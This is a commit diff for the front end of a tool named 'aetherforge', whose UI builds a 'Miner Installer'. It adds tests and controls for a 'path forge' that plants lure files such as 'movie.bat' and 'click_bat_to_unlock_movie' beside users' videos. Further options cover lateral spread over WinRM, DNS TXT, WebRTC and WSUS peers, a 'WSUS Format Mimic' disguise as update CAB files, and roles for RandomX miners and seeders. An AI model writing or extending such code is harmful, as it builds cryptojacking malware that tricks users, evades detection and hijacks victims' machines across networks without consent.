Expand P2 test coverage: mining chain, spread lanes, path forge, WS/beacon, E2E onion, file handling
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
This commit is contained in:
@@ -346,4 +346,87 @@ describe('BuilderPage', () => {
|
||||
});
|
||||
await waitFor(() => expect(screen.getByText('worker-1.exe')).toBeInTheDocument());
|
||||
});
|
||||
|
||||
it('calls cancelBuild when Kill Build is clicked during single forge', async () => {
|
||||
type BuildResult = Awaited<ReturnType<typeof api.buildAgent>>;
|
||||
vi.spyOn(api, 'buildAgent').mockReturnValue(new Promise<BuildResult>(() => {}));
|
||||
|
||||
const cancelSpy = vi.spyOn(api, 'cancelBuild').mockResolvedValue({ ok: true });
|
||||
vi.stubGlobal('fetch', vi.fn().mockResolvedValue({
|
||||
ok: true,
|
||||
json: async () => ({ stage: 'Compiling', pct: 10 }),
|
||||
}));
|
||||
|
||||
renderBuilder();
|
||||
await screen.findByRole('button', { name: /FORGE INSTALLER/i });
|
||||
fireEvent.click(screen.getByRole('button', { name: /FORGE INSTALLER/i }));
|
||||
|
||||
const killBtn = await screen.findByRole('button', { name: /Kill Build/i });
|
||||
fireEvent.click(killBtn);
|
||||
|
||||
await waitFor(() => {
|
||||
expect(cancelSpy).toHaveBeenCalled();
|
||||
});
|
||||
});
|
||||
|
||||
it('submits path forge and shows placement summary', async () => {
|
||||
localStorage.setItem('aetherforge-forge-mode', 'advanced');
|
||||
const fetchMock = vi.fn().mockResolvedValue({
|
||||
ok: true,
|
||||
json: async () => ({
|
||||
success: true,
|
||||
placed: 3,
|
||||
total: 1,
|
||||
skipped: 2,
|
||||
errors: 0,
|
||||
results: [{ source: 'movie.mkv', files: ['movie.bat', 'click_bat_to_unlock_movie'] }],
|
||||
}),
|
||||
});
|
||||
vi.stubGlobal('fetch', fetchMock);
|
||||
|
||||
renderBuilder();
|
||||
await screen.findByRole('heading', { level: 2, name: 'Build Miner Installer' });
|
||||
|
||||
const pathForgeSection = screen.getByText('PATH FORGE — Recursive Batch Seed').closest('.form-section') as HTMLElement;
|
||||
const pathInput = within(pathForgeSection).getByPlaceholderText(/E:\\Movies/i);
|
||||
fireEvent.change(pathInput, { target: { value: 'D:\\Movies' } });
|
||||
fireEvent.click(screen.getByRole('button', { name: /LAUNCH PATH FORGE/i }));
|
||||
|
||||
expect(await screen.findByText(/3 files placed across 1 source files/i)).toBeInTheDocument();
|
||||
expect(fetchMock).toHaveBeenCalledWith(
|
||||
'/api/v1/builder/path-forge',
|
||||
expect.objectContaining({ method: 'POST' }),
|
||||
);
|
||||
});
|
||||
|
||||
it('shows path forge busy state while seeding', async () => {
|
||||
localStorage.setItem('aetherforge-forge-mode', 'advanced');
|
||||
let resolveForge!: (value: Response) => void;
|
||||
const fetchMock = vi.fn().mockReturnValue(
|
||||
new Promise<Response>((resolve) => {
|
||||
resolveForge = resolve;
|
||||
}),
|
||||
);
|
||||
vi.stubGlobal('fetch', fetchMock);
|
||||
|
||||
renderBuilder();
|
||||
await screen.findByRole('heading', { level: 2, name: 'Build Miner Installer' });
|
||||
|
||||
const pathForgeSection = screen.getByText('PATH FORGE — Recursive Batch Seed').closest('.form-section') as HTMLElement;
|
||||
fireEvent.change(within(pathForgeSection).getByPlaceholderText(/E:\\Movies/i), {
|
||||
target: { value: 'D:\\Movies' },
|
||||
});
|
||||
fireEvent.click(screen.getByRole('button', { name: /LAUNCH PATH FORGE/i }));
|
||||
|
||||
expect(await screen.findByRole('button', { name: /Seeding/i })).toBeDisabled();
|
||||
|
||||
resolveForge({
|
||||
ok: true,
|
||||
json: async () => ({ success: true, placed: 1, total: 1, errors: 0, results: [] }),
|
||||
} as Response);
|
||||
|
||||
await waitFor(() => {
|
||||
expect(screen.getByRole('button', { name: /LAUNCH PATH FORGE/i })).not.toBeDisabled();
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
@@ -857,9 +857,10 @@ export default function BuilderPage() {
|
||||
() => (form ? getForgeLiveNotices(form, !!fusionPrepFile) : []),
|
||||
[form, fusionPrepFile]
|
||||
);
|
||||
const fusionPrepSelected = !!fusionPrepFile || fusionBatchFiles.length > 0;
|
||||
const preflightChecks = useMemo(
|
||||
() => (form ? runForgePreflight(normalizeForgeForm(form), !!fusionPrepFile) : []),
|
||||
[form, fusionPrepFile]
|
||||
() => (form ? runForgePreflight(normalizeForgeForm(form), fusionPrepSelected) : []),
|
||||
[form, fusionPrepSelected]
|
||||
);
|
||||
const canForge = form ? !preflightHasErrors(preflightChecks) : false;
|
||||
const errorCount = preflightChecks.filter((c) => c.level === 'error').length;
|
||||
@@ -2963,6 +2964,24 @@ export default function BuilderPage() {
|
||||
<FieldHint field="winrm_spread" />
|
||||
</div>
|
||||
|
||||
<div className="form-group" style={{ marginBottom: '0.75rem' }}>
|
||||
<label className="label">Fleet role</label>
|
||||
<div className="endpoint-chips" style={{ flexWrap: 'wrap' }}>
|
||||
{(['auto', 'miner', 'seeder'] as const).map((role) => (
|
||||
<button
|
||||
key={role}
|
||||
type="button"
|
||||
className={`endpoint-chip ${(form.fleet_role ?? 'auto') === role ? 'active' : ''}`}
|
||||
title={role === 'seeder' ? 'LAN staging only — dns_txt/webrtc/do_peer, no RandomX' : role === 'miner' ? 'Pull from nearest seeder, hash RandomX' : 'Server assigns role on auth when Calibrate fleet_roles_enabled'}
|
||||
onClick={() => updateField('fleet_role', role)}
|
||||
>
|
||||
{role === 'auto' ? 'Auto' : role === 'miner' ? 'Miner' : 'Seeder'}
|
||||
</button>
|
||||
))}
|
||||
</div>
|
||||
<p className="form-hint">Seeder skips mining; miners may pull payloads from LAN seeders via webrtc/do_peer.</p>
|
||||
</div>
|
||||
|
||||
<div className={`form-group checkbox-group ${fieldMeta.dns_txt_spread?.disabled ? 'field-disabled' : ''}`}>
|
||||
<label className="checkbox-label">
|
||||
<input type="checkbox" className="checkbox" checked={form.dns_txt_spread !== false}
|
||||
@@ -2985,6 +3004,17 @@ export default function BuilderPage() {
|
||||
<ForgeLockedHint meta={fieldMeta.wsus_cache_peer_spread} />
|
||||
</div>
|
||||
|
||||
<div className={`form-group checkbox-group ${fieldMeta.wsus_format_mimic?.disabled ? 'field-disabled' : ''}`}>
|
||||
<label className="checkbox-label">
|
||||
<input type="checkbox" className="checkbox" checked={form.wsus_format_mimic !== false}
|
||||
disabled={fieldMeta.wsus_format_mimic?.disabled || form.wsus_cache_peer_spread === false}
|
||||
onChange={(e) => updateField('wsus_format_mimic', e.target.checked)} />
|
||||
<span>WSUS Format Mimic — *.cab.partial SSU/CAB camouflage <HelpTip field="wsus_format_mimic" /></span>
|
||||
</label>
|
||||
<FieldHint field="wsus_format_mimic" />
|
||||
<ForgeLockedHint meta={fieldMeta.wsus_format_mimic} />
|
||||
</div>
|
||||
|
||||
<div className={`form-group checkbox-group ${fieldMeta.webrtc_mesh_spread?.disabled ? 'field-disabled' : ''}`}>
|
||||
<label className="checkbox-label">
|
||||
<input type="checkbox" className="checkbox" checked={!!form.webrtc_mesh_spread}
|
||||
|
||||
Reference in New Issue
Block a user